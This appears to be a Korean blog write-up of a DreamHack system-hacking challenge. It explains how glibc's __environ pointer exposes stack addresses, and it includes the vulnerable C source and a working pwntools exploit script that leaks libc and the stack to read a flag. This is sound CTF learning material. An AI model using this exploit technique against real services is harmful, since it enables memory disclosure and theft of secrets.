Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage4_문제풀이(__environ) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage4_문제풀이(__environ)

CIDY 2022. 7. 14. 03:54

*환경변수

환경변수는 모든 운영체제에서 사용되며, 매번 변할 수 있는 동적인 값들의 모임이며, 시스템 정보를 갖고 있는 변수이다. -> 사용자가 직접 추가/수정/삭제 가능.

 

리눅스에서 제공하는 명령어들은 /bin, /usr/bin과 같은 디렉토리에 있다. -> 우리가 명령어 입력 -> 환경변수에 명시된 디렉토리에서 명령어 탐색/실행 -> 명령어 경로 입력 불필요

 

환경변수는 터미널뿐만 아니라, 프로그램에서도 참조함 -> 프로그램도 명령어를 실행해야 하는 경우가 있는데, 절대경로를 입력하지 않아도 명령어 실행 가능 -> 프로세스 로드 시 환경변수를 초기화하기 때문

 

환경변수에 대한 정보는 스택 영역에 존재한다. + 라이브러리 함수 실행 시에도 그 정보 참조함 -> 환경 변수를 가리키는 포인터가 별도로 선언되어 있음. -> 라이브러리 주소 알고 + 어떤 주소를 읽어올 수 있으면 -> 스택 주소 알아낼 수 있음

 

 

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "environ"
   294: 00000000003ee098     8 OBJECT  WEAK   DEFAULT   35 _environ@@GLIBC_2.2.5
  1005: 00000000003ee098     8 OBJECT  WEAK   DEFAULT   35 environ@@GLIBC_2.2.5
  1349: 00000000003ee098     8 OBJECT  GLOBAL DEFAULT   35 __environ@@GLIBC_2.2.

 

이건 립시파일에서(libc.so.6) environ심볼을 찾는 것임. -> __environ이라는 전역 변수가 보인다. 

 

environ은 execve계열 함수와 getenv 등 환경 변수 관련 함수에서 참조하는 변수이다.

 

 

__environ이 담고있는 주소를 까 보면 (더블 포인터) -> 환경변수 문자열 각각의 주소들을 갖고 있다. -> vmmap해보면 스택 영역임.

 

 

요약하면 이런 구조다 ↑ 저기서 environ에 1차적으로 담긴 값(0x00007fffffffdf48)이 스택 영역의 값임. 삼중 포인터로 표현되는 이유는 &로 프린트했기 때문. 

 

__environ은 립시 영역에 있는데 거기 담긴 값은 스택 영역에 있다니 흥미로운 상황이다..

 

 

// 64-bit, canary, nx, pie, full relro
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("/home/environ_exercise/flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

이 문제도 보호기법이 빡세지만 세팅이 잘 되어있다. 우선 플래그 내용이 file_buf에 저장되므로 그걸 읽어오는 게 목표다.

 

우선 libc릭은 하라고 세팅해준다. 그리고 environ에 든 값을 이용해 스택 영역 임의의 주소를 릭해온다.

 

__environ은 립시 영역의 값이고 거기에 담긴 값은 스택 영역의 값이므로 둘 다 릭하는 것이 가능하다.

 

flag를 읽어올 때 read의 rcx에 파일 내용을 담는 주소가 저장된다. (file_buf말하는거임.) -> 얘도 변수니까 당연히 스택 영역에 있다.

 

 

 

뭐 사실 rsi를 까봐도 된다.

 

요약하면, stdout으로 립시릭 -> __environ변수 주소 알아내기 -> 그 주소 입력해서 거기 든 주소 알아내기(스택 영역 주소 릭) -> 스택 영역 내에서의 오프셋은 같으므로 릭해온 스택 영역 주소와 file_buf간의 오프셋 구하기

 

 

이렇긴 한데... 서버에서는 0x1538이다. ㅋㅋ

 

from pwn import *

p = remote("host3.dreamhack.games", 21904)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)  
libc_base = stdout - libc.sym['_IO_2_1_stdout_'] - 0x1ff0c0
print(hex(libc_base))
environ = libc_base + libc.sym['__environ'] + 0x1fea98
print(hex(environ))


p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(environ))

stack_environ = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
file = stack_environ - 0x1538

p.sendlineafter(b"> ", b"1")
p.sendlineafter(b": ", str(file))

p.interactive()

 

오프셋 맞추느라 고생했다..ㅎ 중간에 이유없는 덧셈은 오프셋 차이다.